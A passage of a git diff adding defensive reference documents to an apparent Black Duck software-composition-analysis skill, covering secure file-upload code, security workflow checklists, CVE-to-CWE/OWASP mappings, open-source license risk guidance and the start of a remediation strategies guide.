if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/appsec/sca-blackduck/references/WORKFLOW_CHECKLIST.md b/skills/appsec/sca-blackduck/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/appsec/sca-blackduck/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/sca-blackduck/references/cve_cwe_owasp_mapping.md b/skills/appsec/sca-blackduck/references/cve_cwe_owasp_mapping.md new file mode 100644 index 0000000..3f5d692 --- /dev/null +++ b/skills/appsec/sca-blackduck/references/cve_cwe_owasp_mapping.md @@ -0,0 +1,348 @@ +# CVE to CWE and OWASP Top 10 Mapping + +## Table of Contents +- [Common Vulnerability Patterns](#common-vulnerability-patterns) +- [OWASP Top 10 2021 Mapping](#owasp-top-10-2021-mapping) +- [CWE Top 25 Mapping](#cwe-top-25-mapping) +- [Dependency Vulnerability Categories](#dependency-vulnerability-categories) + +## Common Vulnerability Patterns + +### Injection Vulnerabilities in Dependencies + +**OWASP**: A03:2021 - Injection +**CWE**: CWE-89 (SQL Injection), CWE-78 (OS Command Injection) + +Common in: +- ORM libraries with unsafe query construction +- Template engines with code execution features +- Database drivers with insufficient input sanitization + +**Example CVEs**: +- CVE-2021-44228 (Log4Shell) - Remote Code Execution via JNDI injection +- CVE-2022-22965 (Spring4Shell) - RCE via Spring Framework + +### Deserialization Vulnerabilities + +**OWASP**: A08:2021 - Software and Data Integrity Failures +**CWE**: CWE-502 (Deserialization of Untrusted Data) + +Common in: +- Java serialization libraries (Jackson, XStream, etc.) +- Python pickle +- PHP unserialize + +**Example CVEs**: +- CVE-2017-5638 (Apache Struts) - Remote Code Execution +- CVE-2019-12384 (Jackson) - Polymorphic typing RCE + +### Authentication and Cryptography Flaws + +**OWASP**: A02:2021 - Cryptographic Failures +**CWE**: CWE-327 (Broken Crypto), CWE-311 (Missing Encryption) + +Common in: +- Outdated cryptographic libraries +- JWT libraries with algorithm confusion +- SSL/TLS implementations with weak ciphers + +**Example CVEs**: +- CVE-2022-21449 (Java ECDSA) - Signature validation bypass +- CVE-2020-36518 (Jackson) - Denial of Service via deeply nested objects + +### XML External Entity (XXE) + +**OWASP**: A05:2021 - Security Misconfiguration +**CWE**: CWE-611 (XML External Entities) + +Common in: +- XML parsers with external entity processing enabled by default +- SOAP/XML-RPC libraries + +**Example CVEs**: +- CVE-2021-44832 (Log4j) - Remote Code Execution +- CVE-2018-1000613 (dom4j) - XXE vulnerability + +## OWASP Top 10 2021 Mapping + +### A01:2021 - Broken Access Control + +**Related CWEs**: +- CWE-22: Path Traversal +- CWE-284: Improper Access Control +- CWE-639: Insecure Direct Object Reference + +**Dependency Examples**: +- File handling libraries with path traversal +- Authorization libraries with bypass vulnerabilities +- API frameworks with missing access controls + +### A02:2021 - Cryptographic Failures + +**Related CWEs**: +- CWE-327: Use of Broken Cryptography +- CWE-328: Weak Hash +- CWE-331: Insufficient Entropy + +**Dependency Examples**: +- Outdated OpenSSL/BoringSSL versions +- Weak hash implementations (MD5, SHA1) +- Insecure random number generators + +### A03:2021 - Injection + +**Related CWEs**: +- CWE-89: SQL Injection +- CWE-78: OS Command Injection +- CWE-94: Code Injection + +**Dependency Examples**: +- ORM libraries with unsafe queries +- Template engines with code execution +- Shell command utilities + +### A04:2021 - Insecure Design + +**Related CWEs**: +- CWE-209: Information Exposure Through Error Messages +- CWE-256: Plaintext Storage of Password +- CWE-918: SSRF + +**Dependency Examples**: +- Libraries with verbose error messages +- Frameworks with insecure defaults +- HTTP clients vulnerable to SSRF + +### A05:2021 - Security Misconfiguration + +**Related CWEs**: +- CWE-611: XXE +- CWE-16: Configuration +- CWE-2: Environmental Security + +**Dependency Examples**: +- XML parsers with XXE by default +- Web frameworks with debug mode enabled +- Default credentials in libraries + +### A06:2021 - Vulnerable and Outdated Components + +**Related CWEs**: +- CWE-1035: 2014 Top 25 - Insecure Interaction +- CWE-1104: Use of Unmaintained Third Party Components + +**This is the primary focus of SCA tools like Black Duck** + +Key risks: +- Dependencies with known CVEs +- Unmaintained or abandoned libraries +- Transitive dependencies with vulnerabilities +- License compliance issues + +### A07:2021 - Identification and Authentication Failures + +**Related CWEs**: +- CWE-287: Improper Authentication +- CWE-306: Missing Authentication +- CWE-798: Hard-coded Credentials + +**Dependency Examples**: +- OAuth/OIDC libraries with bypass vulnerabilities +- JWT libraries with algorithm confusion +- Session management libraries with fixation issues + +### A08:2021 - Software and Data Integrity Failures + +**Related CWEs**: +- CWE-502: Deserialization of Untrusted Data +- CWE-829: Inclusion of Functionality from Untrusted Control Sphere +- CWE-494: Download of Code Without Integrity Check + +**Dependency Examples**: +- Serialization libraries (Jackson, pickle, etc.) +- Package managers vulnerable to dependency confusion +- Libraries fetching code over HTTP + +### A09:2021 - Security Logging and Monitoring Failures + +**Related CWEs**: +- CWE-778: Insufficient Logging +- CWE-117: Log Injection +- CWE-532: Information Exposure Through Log Files + +**Dependency Examples**: +- Logging libraries with injection vulnerabilities (Log4Shell) +- Frameworks with insufficient audit logging +- Libraries exposing sensitive data in logs + +### A10:2021 - Server-Side Request Forgery (SSRF) + +**Related CWEs**: +- CWE-918: SSRF + +**Dependency Examples**: +- HTTP client libraries with insufficient validation +- URL parsing libraries with bypass issues +- Image processing libraries fetching remote resources + +## CWE Top 25 Mapping + +### Top 5 Most Dangerous in Dependencies + +1. **CWE-502: Deserialization of Untrusted Data** + - Found in: Java (Jackson, XStream), Python (pickle), .NET + - CVSS typically: 9.0-10.0 + - Remediation: Upgrade to patched versions, avoid deserializing untrusted data + +2. **CWE-78: OS Command Injection** + - Found in: Shell utilities, process execution libraries + - CVSS typically: 8.0-9.8 + - Remediation: Use parameterized APIs, input validation + +3. **CWE-89: SQL Injection** + - Found in: Database drivers, ORM libraries + - CVSS typically: 8.0-9.8 + - Remediation: Use parameterized queries, upgrade to patched versions + +4. **CWE-79: Cross-site Scripting (XSS)** + - Found in: Template engines, HTML sanitization libraries + - CVSS typically: 6.1-7.5 + - Remediation: Context-aware output encoding, upgrade libraries + +5. **CWE-611: XML External Entity (XXE)** + - Found in: XML parsers (dom4j, Xerces, etc.) + - CVSS typically: 7.5-9.1 + - Remediation: Disable external entity processing, upgrade parsers + +## Dependency Vulnerability Categories + +### Remote Code Execution (RCE) + +**Severity**: CRITICAL +**CVSS Range**: 9.0-10.0 + +**Common Patterns**: +- Deserialization vulnerabilities +- Template injection +- Expression language injection +- JNDI injection (Log4Shell) + +**Remediation Priority**: IMMEDIATE + +### Authentication Bypass + +**Severity**: CRITICAL/HIGH +**CVSS Range**: 7.5-9.8 + +**Common Patterns**: +- JWT signature bypass +- OAuth implementation flaws +- Session fixation +- Hard-coded credentials + +**Remediation Priority**: IMMEDIATE + +### Information Disclosure + +**Severity**: MEDIUM/HIGH +**CVSS Range**: 5.3-7.5 + +**Common Patterns**: +- Path traversal in file handlers +- XXE with data exfiltration +- Error messages exposing internals +- Memory disclosure bugs + +**Remediation Priority**: HIGH + +### Denial of Service (DoS) + +**Severity**: MEDIUM +**CVSS Range**: 5.3-7.5 + +**Common Patterns**: +- Regular expression DoS (ReDoS) +- XML bomb attacks +- Resource exhaustion +- Algorithmic complexity attacks + +**Remediation Priority**: MEDIUM (unless affecting critical services) + +### Prototype Pollution (JavaScript) + +**Severity**: HIGH +**CVSS Range**: 7.0-8.8 + +**Common Patterns**: +- Object merge/extend functions +- JSON parsing libraries +- Template engines + +**Remediation Priority**: HIGH + +## Supply Chain Attack Patterns + +### Dependency Confusion + +**CWE**: CWE-494 (Download of Code Without Integrity Check) + +**Description**: Attacker publishes malicious package with same name as internal package to public registry. + +**Detection**: Black Duck detects unexpected package sources and registry changes. + +**Mitigation**: +- Use private registry with higher priority +- Implement package name reservations +- Enable registry allowlists + +### Typosquatting + +**CWE**: CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) + +**Description**: Malicious packages with names similar to popular packages. + +**Detection**: Component quality analysis, community reputation scoring. + +**Mitigation**: +- Review all new dependencies carefully +- Use dependency lock files +- Enable automated typosquatting detection + +### Compromised Maintainer Accounts + +**CWE**: CWE-1294 (Insecure Security Identifier Mechanism) + +**Description**: Attacker gains access to legitimate package maintainer account. + +**Detection**: Unexpected version updates, behavior changes, new maintainers. + +**Mitigation**: +- Pin dependency versions +- Review all dependency updates +- Monitor for suspicious changes + +## Remediation Priority Matrix + +| Severity | Exploitability | Remediation Timeline | +|----------|---------------|---------------------| +| CRITICAL | High | 24-48 hours | +| HIGH | High | 1 week | +| HIGH | Low | 2 weeks | +| MEDIUM | High | 1 month | +| MEDIUM | Low | 3 months | +| LOW | Any | Next maintenance cycle | + +**Factors influencing priority**: +- Exploit availability (PoC, Metasploit module, etc.) +- Attack surface (internet-facing vs. internal) +- Data sensitivity +- Compliance requirements +- Patch availability + +## References + +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [CWE Top 25](https://cwe.mitre.org/top25/) +- [NVD CVE Database](https://nvd.nist.gov/) +- [MITRE ATT&CK](https://attack.mitre.org/) +- [FIRST CVSS Calculator](https://www.first.org/cvss/calculator/3.1) diff --git a/skills/appsec/sca-blackduck/references/license_risk_guide.md b/skills/appsec/sca-blackduck/references/license_risk_guide.md new file mode 100644 index 0000000..85bd2c7 --- /dev/null +++ b/skills/appsec/sca-blackduck/references/license_risk_guide.md @@ -0,0 +1,472 @@ +# License Compliance Risk Assessment Guide + +## Table of Contents +- [License Risk Categories](#license-risk-categories) +- [Common Open Source Licenses](#common-open-source-licenses) +- [License Compatibility](#license-compatibility) +- [Compliance Workflows](#compliance-workflows) +- [Legal Considerations](#legal-considerations) + +## License Risk Categories + +### High Risk - Copyleft (Strong) + +**Licenses**: GPL-2.0, GPL-3.0, AGPL-3.0 + +**Characteristics**: +- Requires derivative works to be open-sourced under same license +- Source code distribution mandatory +- AGPL extends to network use (SaaS applications) + +**Business Impact**: HIGH +- May require releasing proprietary code as open source +- Incompatible with most commercial software +- Legal review required for any usage + +**Use Cases Where Allowed**: +- Internal tools (not distributed) +- Separate services with network boundaries +- Dual-licensed components (use commercial license) + +**Example Compliance Violation**: +``` +Product: Commercial SaaS Application +Dependency: GPL-licensed library linked into application +Issue: AGPL requires source code release for network-accessible software +Risk: Legal liability, forced open-sourcing +``` + +### Medium Risk - Weak Copyleft + +**Licenses**: LGPL-2.1, LGPL-3.0, MPL-2.0, EPL-2.0 + +**Characteristics**: +- Copyleft applies only to modified library files +- Allows proprietary applications if library used as separate component +- Source modifications must be released + +**Business Impact**: MEDIUM +- Safe if used as unmodified library (dynamic linking) +- Modifications require open-sourcing +- License compatibility considerations + +**Compliance Requirements**: +- Keep library as separate, unmodified component +- If modified, release modifications under same license +- Attribute properly in documentation + +**Example Safe Usage**: +``` +Product: Commercial Application +Dependency: LGPL library via dynamic linking +Status: COMPLIANT +Reason: No modifications, used as separate component +``` + +### Low Risk - Permissive + +**Licenses**: MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause + +**Characteristics**: +- Minimal restrictions on use and distribution +- No copyleft requirements +- Attribution required +- Apache-2.0 includes patent grant + +**Business Impact**: LOW +- Generally safe for commercial use +- Simple compliance requirements +- Industry standard for most projects + +**Compliance Requirements**: +- Include license text in distribution +- Preserve copyright notices +- Apache-2.0: Include NOTICE file if present + +### Minimal Risk - Public Domain / Unlicense + +**Licenses**: CC0-1.0, Unlicense, Public Domain + +**Characteristics**: +- No restrictions +- No attribution required (though recommended) + +**Business Impact**: MINIMAL +- Safest for commercial use +- No compliance obligations + +## Common Open Source Licenses + +### Permissive Licenses + +#### MIT License + +**SPDX**: MIT +**OSI Approved**: Yes +**Risk Level**: LOW + +**Permissions**: Commercial use, modification, distribution, private use +**Conditions**: Include license and copyright notice +**Limitations**: No liability, no warranty + +**Common in**: JavaScript (React, Angular), Ruby (Rails) + +**Compliance Checklist**: +- [ ] Include LICENSE file in distribution +- [ ] Preserve copyright notices in source files +- [ ] Credit in ABOUT/CREDITS file + +#### Apache License 2.0 + +**SPDX**: Apache-2.0 +**OSI Approved**: Yes +**Risk Level**: LOW + +**Permissions**: Same as MIT, plus explicit patent grant +**Conditions**: Include license, preserve NOTICE file, state changes +**Limitations**: No trademark use, no liability + +**Common in**: Java (Spring), Big Data (Hadoop, Kafka) + +**Key Difference from MIT**: Patent protection clause + +**Compliance Checklist**: +- [ ] Include LICENSE file +- [ ] Include NOTICE file if present +- [ ] Document modifications +- [ ] Don't use project trademarks + +#### BSD Licenses (2-Clause and 3-Clause) + +**SPDX**: BSD-2-Clause, BSD-3-Clause +**OSI Approved**: Yes +**Risk Level**: LOW + +**3-Clause Addition**: No endorsement using project name + +**Common in**: Unix utilities, networking libraries + +**Compliance Checklist**: +- [ ] Include license text +- [ ] Preserve copyright notices +- [ ] BSD-3: No unauthorized endorsements + +### Weak Copyleft Licenses + +#### GNU LGPL 2.1 / 3.0 + +**SPDX**: LGPL-2.1, LGPL-3.0 +**OSI Approved**: Yes +**Risk Level**: MEDIUM + +**Safe Usage Patterns**: +1. **Dynamic Linking**: Link as shared library without modification +2. **Unmodified Use**: Use library as-is without code changes +3. **Separate Component**: Keep as distinct, replaceable module + +**Unsafe Usage Patterns**: +1. **Static Linking**: Compiling LGPL code into proprietary binary +2. **Modifications**: Changing LGPL library code +3. **Intimate Integration**: Tightly coupling with proprietary code + +**Common in**: GTK, glibc, Qt (dual-licensed) + +**Compliance for Unmodified Use**: +- [ ] Provide library source code or offer to provide +- [ ] Allow users to replace library +- [ ] Include license text + +**Compliance for Modifications**: +- [ ] Release modifications under LGPL +- [ ] Provide modified source code +- [ ] Document changes + +#### Mozilla Public License 2.0 + +**SPDX**: MPL-2.0 +**OSI Approved**: Yes +**Risk Level**: MEDIUM + +**File-Level Copyleft**: Only modified files must remain MPL + +**Common in**: Firefox, Rust standard library + +**Compliance**: +- [ ] Keep MPL files in separate files +- [ ] Release modifications to MPL files +- [ ] May combine with proprietary code at module level + +### Strong Copyleft Licenses + +#### GNU GPL 2.0 / 3.0 + +**SPDX**: GPL-2.0, GPL-3.0 +**OSI Approved**: Yes +**Risk Level**: HIGH + +**Copyleft Scope**: Entire program must be GPL + +**Key Differences**: +- **GPL-3.0**: Added anti-tivoization, patent provisions +- **GPL-2.0**: More permissive for hardware restrictions + +**Common in**: Linux kernel (GPL-2.0), many GNU tools + +**When GPL is Acceptable**: +1. **Internal Use**: Not distributed outside organization +2. **Network Boundary**: Separate GPL service (API-based) +3. **Dual-Licensed**: Use commercial license option + +**Compliance if Using**: +- [ ] Entire program must be GPL-compatible +- [ ] Provide source code to recipients +- [ ] Include license and build instructions + +#### GNU AGPL 3.0 + +**SPDX**: AGPL-3.0 +**OSI Approved**: Yes +**Risk Level**: CRITICAL for SaaS + +**Network Copyleft**: Source code required even for network use + +**Common in**: Some database tools, server software + +**Critical for**: SaaS, web applications, APIs + +**Avoid Unless**: Prepared to open-source entire application + +### Proprietary / Commercial Licenses + +**Risk Level**: VARIES (requires legal review) + +**Common Scenarios**: +- Evaluation/trial licenses (non-production) +- Dual-licensed (commercial option available) +- Runtime licenses (e.g., database drivers) + +**Compliance**: Follow vendor-specific terms + +## License Compatibility + +### Compatibility Matrix + +| Your Project | MIT | Apache-2.0 | LGPL | GPL | AGPL | +|--------------|-----|-----------|------|-----|------| +| Proprietary | ✅ | ✅ | ⚠️ | ❌ | ❌ | +| MIT | ✅ | ✅ | ⚠️ | ❌ | ❌ | +| Apache-2.0 | ✅ | ✅ | ⚠️ | ⚠️ | ❌ | +| LGPL | ✅ | ✅ | ✅ | ⚠️ | ❌ | +| GPL | ✅ | ⚠️ | ✅ | ✅ | ⚠️ | +| AGPL | ✅ | ⚠️ | ✅ | ✅ | ✅ | + +**Legend**: +- ✅ Compatible +- ⚠️ Compatible with conditions +- ❌ Incompatible + +### Common Incompatibilities + +**Apache-2.0 with GPL-2.0**: +- Issue: GPL-2.0 doesn't have explicit patent grant +- Solution: Use GPL-3.0 instead (compatible with Apache-2.0) + +**GPL with Proprietary**: +- Issue: GPL requires derivative works be GPL +- Solution: Keep as separate program, use network boundary + +**AGPL with SaaS**: +- Issue: AGPL triggers on network use +- Solution: Avoid AGPL or use commercial license + +## Compliance Workflows + +### Initial License Assessment + +1. **Scan Dependencies** + ```bash + scripts/blackduck_scan.py --project MyApp --version 1.0.0 --report-type license + ``` + +2. **Categorize Licenses by Risk** + - Review all HIGH risk licenses immediately + - Assess MEDIUM risk licenses for compliance requirements + - Document LOW risk licenses for attribution + +3. **Legal Review** + - Escalate HIGH risk licenses to legal team + - Get approval for MEDIUM risk usage patterns + - Document decisions + +### Continuous License Monitoring + +**In CI/CD Pipeline**: +```yaml +# GitHub Actions example +- name: License Compliance Check + run: | + scripts/blackduck_scan.py \ + --project ${{ github.repository }} \ + --version ${{ github.sha }} \ + --report-type license \ + --fail-on-blocklisted-licenses +``` + +**Policy Enforcement**: +- Block builds with GPL/AGPL dependencies +- Require approval for new LGPL dependencies +- Auto-approve MIT/Apache-2.0 + +### License Remediation + +**For High-Risk Licenses**: + +1. **Replace Component** + - Find MIT/Apache alternative + - Example: MySQL (GPL) → PostgreSQL (PostgreSQL License - permissive) + +2. **Commercial License** + - Purchase commercial license if available + - Example: Qt (LGPL or Commercial) + +3. **Separate Service** + - Run GPL component as separate service + - Communicate via API/network + +4. **Remove Dependency** + - Implement functionality directly + - Use different approach + +### Attribution and Notices + +**Required Artifacts**: + +**LICENSES.txt** - All license texts: +``` +This software includes the following third-party components: + +1. Component Name v1.0.0 + License: MIT + Copyright (c) 2024 Author + [Full license text] + +2. Another Component v2.0.0 + License: Apache-2.0 + [Full license text] +``` + +**NOTICE.txt** - Attribution notices (if Apache-2.0 dependencies): +``` +This product includes software developed by +The Apache Software Foundation (http://www.apache.org/). + +[Additional NOTICE content from Apache-licensed dependencies] +``` + +**UI/About Screen**: +- List major third-party components +- Link to full license information +- Provide "Open Source Licenses" section + +## Legal Considerations + +### When to Consult Legal Counsel + +**Always Consult for**: +- GPL/AGPL in commercial products +- Dual-licensing decisions +- Patent-related concerns +- Proprietary license negotiations +- M&A due diligence +- License violations/disputes + +### Common Legal Questions + +**Q: Can I use GPL code in a SaaS application?** +A: GPL-2.0/3.0 yes (no distribution), AGPL-3.0 no (network use triggers copyleft) + +**Q: What if I modify an MIT-licensed library?** +A: You can keep modifications proprietary, just preserve MIT license + +**Q: Can I remove license headers from code?** +A: No, preserve all copyright and license notices + +**Q: What's the difference between "linking" and "use"?** +A: Legal concept varies by jurisdiction; consult attorney for specific cases + +### Audit and Compliance Documentation + +**Maintain Records**: +- Complete SBOM with license information +- License review approvals +- Component selection rationale +- Exception approvals with expiration dates + +**Quarterly Review**: +- Update license inventory +- Review new dependencies +- Renew/revoke exceptions +- Update attribution files + +## Tools and Resources + +**Black Duck Features**: +- Automated license detection +- License risk categorization +- Policy enforcement +- Bill of Materials with licenses + +**Additional Tools**: +- FOSSA - License compliance automation +- WhiteSource - License management +- Snyk - License scanning + +**Resources**: +- [SPDX License List](https://spdx.org/licenses/) +- [Choose A License](https://choosealicense.com/) +- [TL;DR Legal](https://tldrlegal.com/) +- [OSI Approved Licenses](https://opensource.org/licenses) + +## License Risk Scorecard Template + +```markdown +# License Risk Assessment: [Component Name] + +**Component**: component-name@version +**License**: [SPDX ID] +**Risk Level**: [HIGH/MEDIUM/LOW] + +## Usage Context +- [ ] Used in distributed product +- [ ] Used in SaaS/cloud service +- [ ] Internal tool only +- [ ] Modifications made: [Yes/No] + +## Risk Assessment +- **Copyleft Trigger**: [Yes/No/Conditional] +- **Patent Concerns**: [Yes/No] +- **Commercial Use Allowed**: [Yes/No] + +## Compliance Requirements +- [ ] Include license text +- [ ] Provide source code +- [ ] Include NOTICE file +- [ ] Preserve copyright notices +- [ ] Other: _______ + +## Decision +- [X] Approved for use +- [ ] Requires commercial license +- [ ] Find alternative +- [ ] Legal review pending + +**Approved By**: [Name, Date] +**Review Date**: [Date] +``` + +## References + +- [Open Source Initiative](https://opensource.org/) +- [Free Software Foundation](https://www.fsf.org/licensing/) +- [Linux Foundation - Open Compliance Program](https://www.linuxfoundation.org/projects/open-compliance) +- [Google Open Source License Guide](https://opensource.google/documentation/reference/thirdparty/licenses) diff --git a/skills/appsec/sca-blackduck/references/remediation_strategies.md b/skills/appsec/sca-blackduck/references/remediation_strategies.md new file mode 100644 index 0000000..b58e78e --- /dev/null +++ b/skills/appsec/sca-blackduck/references/remediation_strategies.md @@ -0,0 +1,496 @@ +# Vulnerability Remediation Strategies + +## Table of Contents +- [Remediation Decision Framework](#remediation-decision-framework) +- [Strategy 1: Upgrade to Fixed Version](#strategy-1-upgrade-to-fixed-version) +- [Strategy 2: Apply Security Patch](#strategy-2-apply-security-patch) +- [Strategy 3: Replace Component](#strategy-3-replace-component) +- [Strategy 4: Implement Mitigations](#strategy-4-implement-mitigations) +- [Strategy 5: Risk Acceptance](#strategy-5-risk-acceptance) +- [Language-Specific Guidance](#language-specific-guidance) + +## Remediation Decision Framework + +``` +Is patch/upgrade available? +├─ Yes → Can we upgrade without breaking changes? +│ ├─ Yes → UPGRADE (Strategy 1) +│ └─ No → Are breaking changes acceptable? +│ ├─ Yes → UPGRADE with refactoring (Strategy 1) +│ └─ No → Can we apply patch? (Strategy 2) +│ ├─ Yes → PATCH +│ └─ No → REPLACE or MITIGATE (Strategy 3/4) +│ +└─ No → Is vulnerability exploitable in our context? + ├─ Yes → Can we replace component? + │ ├─ Yes → REPLACE (Strategy 3) + │ └─ No → MITIGATE (Strategy 4) + │ + └─ No → ACCEPT with justification (Strategy 5) +``` + +## Strategy 1: Upgrade to Fixed Version + +**When to use**: Patch available in newer version, upgrade path is clear + +**Priority**: HIGHEST - This is the preferred remediation method + +### Upgrade Process + +1. **Identify Fixed Version** + ```bash + # Check Black Duck scan results for fixed version + # Verify in CVE database or component changelog + ``` + +2. **Review Breaking Changes** + - Read release notes and 